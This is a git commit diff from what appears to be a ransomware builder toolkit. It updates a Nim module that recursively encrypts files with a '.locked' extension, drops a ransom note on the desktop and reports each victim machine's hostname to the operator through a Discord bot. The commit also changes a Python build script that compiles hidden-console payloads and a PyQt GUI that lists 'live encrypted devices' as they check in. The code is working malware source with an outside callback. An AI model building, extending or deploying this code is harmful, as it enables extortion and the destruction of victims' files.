Fixed the Decrypter

This commit is contained in:
Sarwar 🧃
2025-09-07 20:47:12 +05:00
parent b58c497b21
commit e3bcab7caf
3 changed files with 220 additions and 29 deletions

View File

@ -1,4 +1,4 @@
import os, nimcrypto, strutils
import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options
const defaultHtml = """
<!DOCTYPE html>
@ -104,13 +104,46 @@ proc openInDefaultBrowser(filePath: string) =
except OSError as e:
echo "Error opening browser: ", e.msg
const
discordToken = ""
creatorId = ""
proc getHostname(): string =
when defined(windows):
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown_hostname"
else:
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown_hostname"
let machineName = getHostname()
proc sendDiscordMessage(message: string) {.async.} =
if discordToken.len == 0 or creatorId.len == 0:
echo "Discord token or creator ID is missing. Skipping notification."
return
let discord = newDiscordClient(discordToken)
try:
let dm = await discord.api.createUserDm(creatorId)
discard await discord.api.sendMessage(dm.id, machineName & ": " & message)
except Exception as e:
echo "Failed to send Discord message: ", e.msg
proc main() =
when defined(decrypt):
const decryptMode = true
else:
const decryptMode = false
const key = "hellow3n2wnj2nwww21"
const key = "0123456789abcdef0123456789abcdef"
const iv = "abcdef9876543210"
const extension = ".locked"
var htmlContent = defaultHtml
@ -125,28 +158,29 @@ proc main() =
else:
root = "/"
let correctedExtension = if extension.startsWith("."): extension else: "." & extension
if decryptMode:
echo "Starting decryption..."
for dir in [root, desktop]:
for file in walkDirRec(dir):
if file.endsWith(extension):
if file.endsWith(correctedExtension):
files.add(file)
echo "Found ", files.len, " files to decrypt."
for file in files:
decryptFile(file, key, iv, extension)
decryptFile(file, key, iv, correctedExtension)
echo "Decryption complete."
else:
echo "Starting encryption..."
for dir in [targetDir, desktop]:
for file in walkDirRec(dir):
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
if fileExists(file) and not file.endsWith(correctedExtension) and not file.contains("ransom.html"):
files.add(file)
echo "Found ", files.len, " files to encrypt."
for file in files:
processFile(file, key, iv, extension)
processFile(file, key, iv, correctedExtension)
let ransomFile = joinPath(desktop, "ransom.html")
try:
@ -155,6 +189,10 @@ proc main() =
echo "Ransom note created at ", ransomFile
except OSError as e:
echo "Error creating or opening ransom note: ", e.msg
waitFor sendDiscordMessage("Encryption complete")
when not isMainModule:
discard
when isMainModule:
main()

View File

@ -1,6 +1,7 @@
#!/usr/bin/env python3
import argparse
from pathlib import Path
import platform
import sys
import os
import shutil
@ -9,15 +10,22 @@ import shlex
import subprocess
import tempfile
import base64
def compile_nim(nim_file, output_exe, os_name, arch, hide_console=False):
def compile_nim(nim_file, output_exe, os_name, arch, hide_console=False, nim_defines=None):
output_exe = Path(output_exe).resolve()
print(f"[*] Compiling Nim -> {os_name}:{arch}")
if nim_defines is None:
nim_defines = []
nim_cmd = [
"nim", "c",
"-d:release",
"-d:ssl",
]
for define in nim_defines:
nim_cmd.append(f"-d:{define}")
if os_name == "windows":
if sys.platform == "darwin":
nim_cmd.append("-d:mingw")
@ -115,14 +123,21 @@ def apply_options_with_regex(content, options):
if not options:
return content
new_options = []
for option in options:
key, value = option.split("=", 1)
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
return content
if "=" in option:
key, value = option.split("=", 1)
# This is a key-value pair, apply with regex
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
else:
# This is a flag-like option, keep it for later
new_options.append(option)
def merge_nim_modules(nim_files, out_dir: Path, options=None):
return content, new_options
def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
if len(nim_files) < 2:
print("[Error] At least two Nim files must be provided for merging.")
@ -135,6 +150,7 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
merged_imports = set()
merged_code = []
main_contents = []
remaining_options = list(options) if options else []
for f in nim_files:
fpath = Path(f)
@ -145,7 +161,7 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
with open(f, "r", encoding="utf-8") as fh:
content = fh.read()
content = apply_options_with_regex(content, options)
content, remaining_options = apply_options_with_regex(content, remaining_options)
main_contents.append(extract_main_proc(content))
@ -214,18 +230,22 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
with open(out_path, "w", encoding="utf-8") as fh:
fh.write(final_content)
# print("[*] --- Begin Combined Nim Code ---\n" + final_content + "\n[*] --- End Combined Nim Code ---")
print("[*] --- Begin Combined Nim Code ---\n" + final_content + "\n[*] --- End Combined Nim Code ---")
print(f"[+] Wrote merged Nim file: {out_path}")
return out_path
return out_path, remaining_options
def patch_nim_file(nim_file: Path, options: list):
def patch_nim_file(nim_file: Path, options: list) -> list:
"""Injects const declarations into a single Nim file."""
nim_defines = []
if options:
print(f"[*] Patching {nim_file.name} with options: {options}")
content = nim_file.read_text(encoding="utf-8")
content = apply_options_with_regex(content, options)
content, nim_defines = apply_options_with_regex(content, options)
nim_file.write_text(content, encoding="utf-8")
print(f"[*] Found nim defines: {nim_defines}")
return nim_defines
def parse_target(target_str):
"""Parse the target string into OS and architecture."""
@ -450,16 +470,17 @@ def main():
with tempfile.TemporaryDirectory() as tmpdir:
tmp_dir = Path(tmpdir)
nim_defines = []
if args.merge:
launcher_source = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
launcher_source, nim_defines = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
else:
launcher_source = Path(args.nim_file)
patch_nim_file(launcher_source, nim_options)
nim_defines = patch_nim_file(launcher_source, nim_options)
suffix = ".exe" if target_os == "windows" else ""
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
should_hide_nim_console = args.hide_console and target_os == "windows"
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch, hide_console=should_hide_nim_console)
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch, hide_console=should_hide_nim_console, nim_defines=nim_defines)
if not args.nim_only and target_os == 'windows':
print("[*] Generating Rust wrapper to embed Nim payload.")

148
main.py
View File

@ -12,7 +12,9 @@ from PyQt5.QtWidgets import (
QListWidgetItem, QSizePolicy
)
from PyQt5.QtGui import QFont, QPixmap, QMovie
from PyQt5.QtCore import Qt, QThread, pyqtSignal
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject
import discord
import asyncio
ASCII = r"""
"""
@ -58,7 +60,9 @@ MODULE_OPTIONS = {
'iv': 'abcdef9876543210',
'extension': '.locked',
'targetDir': '$HOME/Documents',
'htmlContent': 'YOUR_HTML_RANSOM_NOTE_CONTENT_HERE'
'htmlContent': 'YOUR_HTML_RANSOM_NOTE_CONTENT_HERE',
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
'creatorId': 'YOUR_DISCORD_USER_ID'
},
'module/poof': {
'targetDir': '$HOME/Documents'
@ -69,6 +73,43 @@ MODULE_OPTIONS = {
}
}
class DiscordListener(QObject):
device_status_update = pyqtSignal(str, str)
def __init__(self, token):
super().__init__()
self.token = token
self.client = discord.Client(intents=discord.Intents.default())
@self.client.event
async def on_ready():
print(f'GUI Listener logged in as {self.client.user}')
self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
@self.client.event
async def on_message(message):
if message.author == self.client.user:
return
if isinstance(message.channel, discord.DMChannel):
content = message.content
if ':' in content:
parts = content.split(':', 1)
hostname, status_msg = parts[0].strip(), parts[1].strip()
if "Encryption complete." in status_msg:
self.device_status_update.emit(hostname, "Encrypted")
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")
async def stop_client(self):
if self.client:
await self.client.close()
class BuildThread(QThread):
log_signal = pyqtSignal(str, str)
finished_signal = pyqtSignal(int)
@ -107,6 +148,27 @@ class BuildThread(QThread):
self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
self.finished_signal.emit(-1)
class DiscordListenerThread(QThread):
device_status_update = pyqtSignal(str, str)
def __init__(self, token):
super().__init__()
self.token = token
self.listener = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
listener = DiscordListener(self.token)
listener.device_status_update.connect(self.device_status_update)
self.listener = listener
self.loop.run_until_complete(listener.run_client())
def stop(self):
if self.loop and self.listener:
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
class ModuleTableWidget(QTableWidget):
"""A QTableWidget that supports drag-and-drop row reordering."""
@ -149,6 +211,7 @@ class RABIDSGUI(QMainWindow):
self.selected_modules = []
self.loading_movie = None
self.build_thread = None
self.discord_thread = None
self.option_inputs = {}
self.module_options_group = None
self.loot_files_list = None
@ -574,6 +637,7 @@ class RABIDSGUI(QMainWindow):
self.uncrash_build_btn.clicked.connect(self.run_uncrash_compiler)
uncrash_options_layout.addWidget(self.uncrash_build_btn)
uncrash_options_layout.addStretch()
uncrash_layout.addWidget(uncrash_options_group)
bottom_section_layout = QHBoxLayout()
@ -581,15 +645,33 @@ class RABIDSGUI(QMainWindow):
left_column_widget = QWidget()
left_column_layout = QVBoxLayout(left_column_widget)
devices_header_layout = QHBoxLayout()
encrypted_devices_label = QLabel("LIVE ENCRYPTED DEVICES")
encrypted_devices_label.setFont(title_font)
devices_header_layout.addWidget(encrypted_devices_label)
devices_header_layout.addStretch()
left_column_layout.addLayout(devices_header_layout)
listener_layout = QHBoxLayout()
listener_label = QLabel("Listener Bot Token:")
listener_label.setFont(subtitle_font)
listener_label.setStyleSheet("color: #f7f294;")
self.listener_token_edit = QLineEdit()
self.listener_token_edit.setPlaceholderText("Enter your GUI's Discord bot token here")
self.listener_token_edit.setFont(subtitle_font)
self.toggle_listener_btn = QPushButton("Connect")
self.toggle_listener_btn.setFont(subtitle_font)
self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
listener_layout.addWidget(listener_label)
listener_layout.addWidget(self.listener_token_edit, 1)
listener_layout.addWidget(self.toggle_listener_btn)
left_column_layout.addLayout(listener_layout)
self.encrypted_devices_table = QTableWidget()
self.encrypted_devices_table.setColumnCount(2)
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device", "Status"])
self.encrypted_devices_table.setColumnCount(1)
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device"])
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(1, QHeaderView.ResizeToContents)
left_column_layout.addWidget(encrypted_devices_label)
left_column_layout.addWidget(self.encrypted_devices_table)
uncrash_image_label = QLabel()
@ -1081,7 +1163,7 @@ class RABIDSGUI(QMainWindow):
f"--option=key={key}",
f"--option=iv={iv}",
f"--option=extension={ext}",
"--option=decrypt=true"
"--option=decrypt"
]
cmd.extend(options)
@ -1091,6 +1173,56 @@ class RABIDSGUI(QMainWindow):
self.build_thread.finished_signal.connect(self.build_finished)
self.build_thread.start()
def toggle_discord_listener(self):
if self.discord_thread and self.discord_thread.isRunning():
# Stop the listener
self.discord_thread.stop()
self.discord_thread.quit()
self.discord_thread.wait()
self.discord_thread = None
self.toggle_listener_btn.setText("Connect")
self.listener_token_edit.setEnabled(True)
self.log_message("Discord listener disconnected.", "system")
else:
# Start the listener
token = self.listener_token_edit.text()
if not token:
self.log_message("Error: Discord listener bot token is required.", "error")
self.tab_widget.setCurrentIndex(1)
return
if self.discord_thread and self.discord_thread.isRunning():
self.log_message("Listener is already running.", "system")
return
self.discord_thread = DiscordListenerThread(token)
self.discord_thread.device_status_update.connect(self.update_device_status)
self.discord_thread.start()
self.toggle_listener_btn.setText("Disconnect")
self.listener_token_edit.setEnabled(False)
def update_device_status(self, hostname, status):
if hostname == "SYSTEM" or hostname == "ERROR":
msg_type = "error" if hostname == "ERROR" else "system"
self.log_message(f"Listener: {status}", msg_type)
if "failed" in status:
self.toggle_listener_btn.setText("Connect")
self.toggle_listener_btn.setEnabled(True)
self.listener_token_edit.setEnabled(True)
return
for row in range(self.encrypted_devices_table.rowCount()):
item = self.encrypted_devices_table.item(row, 0)
if item and item.text() == hostname:
if status == "Decrypted": # Device is decrypted, remove it
self.encrypted_devices_table.removeRow(row)
return
if status == "Encrypted": # New device is encrypted, add it
row_position = self.encrypted_devices_table.rowCount()
self.encrypted_devices_table.insertRow(row_position)
self.encrypted_devices_table.setItem(row_position, 0, QTableWidgetItem(hostname))
def update_restore_destination_view(self):
self.clear_garbage_loading_view()
self.restore_dest_files_list.clear()